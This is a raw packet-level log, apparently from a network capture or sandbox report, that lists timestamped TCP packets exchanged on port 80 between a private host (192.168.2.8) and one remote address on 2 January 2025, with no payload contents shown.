Jan 2, 2025 20:20:08.789943933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.789985895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.802942038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.802967072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803025961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803030968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803044081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803055048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803066969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803118944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803118944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803118944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803121090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803132057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803142071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803153038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803168058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803169012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803179979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803189993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803200960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803211927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803222895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803224087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803224087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803272009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803272009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803406000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803417921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803428888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803441048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803467035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803481102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803493977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803504944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803514957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803530931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803543091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803553104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803554058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803554058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803565025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803581953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803592920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803603888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803613901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803613901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803613901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803631067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803642035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803657055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803664923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803664923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803668976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803683996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803698063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803708076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803719044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.803725958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803725958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803761005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.803817987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.804287910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.804300070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.804311037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.804326057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.804337978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.804349899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.804356098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.804383039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.804394007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.804394960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.804394960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.804414988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.804430962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.809365034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.809423923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.809434891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.809505939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.809505939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.809541941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.809551954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.809562922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.809575081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.809590101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.809602022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.809609890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.809628010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.809655905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.811290026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811367989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811378956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811389923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811407089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811419010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811429024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811439037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.811441898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811450958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811460972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811471939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811486959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811491966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.811491966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.811500072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811511040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811521053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.811522961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811532021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.811559916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.811559916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.811583996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.828702927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.828716040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.828727007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.828737974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.828747988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.828758955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.828769922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.828793049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.828865051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.833010912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.833183050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.833194017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.833205938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.833218098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.833230019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.833245039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.833249092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.833261013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.833267927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.833273888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.833314896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.833314896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.849987984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.850003004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.850013971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.850023985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.850034952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.850047112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.850059032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.850068092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.850074053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.850153923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.856348991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.856360912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.856376886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.856389046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.856399059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.856410980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.856420994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.856431961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.856435061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.856471062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.856509924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.860200882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.860212088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.860223055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.860234022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.860244989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.860249996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.860255003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.860265970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.860301018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.860320091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.863116980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.863127947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.863138914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.863148928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.863159895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.863169909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.863178968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.863182068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.863225937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.863225937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.880373955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.880393028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.880404949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.880466938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.880479097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.880491018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.880496025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.880501986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.880512953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.880523920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.880539894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.880561113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.880579948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.893718004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893737078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893748045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893758059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893769026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893779039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893798113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893809080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893810987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.893819094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893830061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893841028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893848896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.893852949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893881083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.893883944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893897057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893903017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.893958092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.893968105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.893978119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894016981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894167900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894180059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894198895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894210100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894221067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894231081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894239902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894273043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894273043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894309044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894365072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894392967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894403934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894413948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894424915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894438028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894463062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894503117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894531965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894542933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894553900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894563913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894581079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894593000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894603014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894603014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894613981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894617081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894624949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894637108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894644976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894648075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894671917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894671917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894685984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.894942045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.894953012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.895025969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.895029068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.895041943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.895054102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.895064116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.895075083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.895077944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.895086050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.895102978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.895183086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.900166035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.900178909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.900190115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.900206089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.900217056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.900227070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.900235891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.900238991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.900300026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.901869059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.901889086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.901901960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.901940107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.901952028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.901953936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.901954889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.901997089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.902009010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.902019024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.902040958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.902041912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.902041912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.902053118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.902064085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.902075052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.902095079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.902095079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.902097940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.902110100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.902121067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.902127981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.902173996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.902173996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.919174910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.919200897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.919210911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.919253111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.919264078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.919275045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.919280052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.919280052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.919286013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.919296980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.919331074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.919352055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.923749924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.923762083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.923779964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.923790932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.923800945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.923810959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.923821926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.923825026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.923832893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.923882008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.923882008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.940519094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.940536976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.940604925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.940604925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.940680981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.940692902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.940704107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.940716982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.940727949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.940737963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.940738916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.940797091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.947006941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.947019100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.947029114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.947038889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.947048903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.947060108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.947069883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.947081089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.947086096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.947089911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.947133064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.947133064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.950737953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.950750113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.950766087 CET	80	49704	47.254.187.72	192.168.2.8
